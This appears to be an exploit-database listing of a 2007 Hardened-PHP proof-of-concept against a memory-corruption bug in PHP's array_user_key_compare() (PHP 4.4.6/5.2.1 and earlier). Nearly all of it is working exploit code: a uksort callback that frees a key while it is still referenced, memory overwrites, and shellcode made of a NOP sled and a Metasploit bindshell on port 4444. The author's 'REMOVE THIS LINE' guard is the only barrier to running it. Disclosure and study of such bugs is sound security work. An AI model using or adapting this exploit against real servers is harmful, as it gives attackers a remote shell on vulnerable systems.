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PHP <= 4.4.6 / 5.2.1 array_user_key_compare() ZVAL dtor Local Exploit
[=====================================================================
PHP <= 4.4.6 / 5.2.1 array_user_key_compare() ZVAL dtor Local Exploit
=====================================================================
<?php
////////////////////////////////////////////////////////////////////////
// _ _ _ _ ___ _ _ ___ //
// | || | __ _ _ _ __| | ___ _ _ ___ __| | ___ | _ \| || || _ \ //
// | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___|| _/| __ || _/ //
// |_||_|\__,_||_| \__,_|\___||_||_|\___|\__,_| |_| |_||_||_| //
// //
// Proof of concept code from the Hardened-PHP Project //
// (C) Copyright 2007 Stefan Esser //
// //
////////////////////////////////////////////////////////////////////////
// PHP 4/5 - array_user_key_compare() ZVAL dtor exploit //
////////////////////////////////////////////////////////////////////////
// This is meant as a protection against remote file inclusion.
die("REMOVE THIS LINE");
// You can put in any shellcode you want. Just make sure that the
// shellcode string starts with enough NOP space
// NOPSPACE
$shellcode = str_repeat(chr(0x90), 710);
// A bindshell on port 4444 generated by Metsploit
$shellcode .= "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x46".
"\x32\x3c\xe5\x83\xeb\xfc\xe2\xf4\x77\xe9\x6f\xa6\x15\x58\x3e\x8f".
"\x20\x6a\xa5\x6c\xa7\xff\xbc\x73\x05\x60\x5a\x8d\x57\x6e\x5a\xb6".
"\xcf\xd3\x56\x83\x1e\x62\x6d\xb3\xcf\xd3\xf1\x65\xf6\x54\xed\x06".
"\x8b\xb2\x6e\xb7\x10\x71\xb5\x04\xf6\x54\xf1\x65\xd5\x58\x3e\xbc".
"\xf6\x0d\xf1\x65\x0f\x4b\xc5\x55\x4d\x60\x54\xca\x69\x41\x54\x8d".
"\x69\x50\x55\x8b\xcf\xd1\x6e\xb6\xcf\xd3\xf1\x65";
$arr = array(str_repeat("A", 39) => 1, "B" => 1);
function array_compare(&$key1, &$key2)
{
$GLOBALS['a'] = &$key2;
unset($key2);
return 1;
}
uksort($arr, "array_compare");
$x=array($shellcode => 1);
$a[8*4+0] = $a[6*4+0];
$a[8*4+1] = chr(ord($a[6*4+1])+2); // <--- This only works for Little Endian
$a[8*4+2] = $a[6*4+2];
$a[8*4+3] = $a[6*4+3];
unset($x);
?>
# 0day.today [2024-11-16] #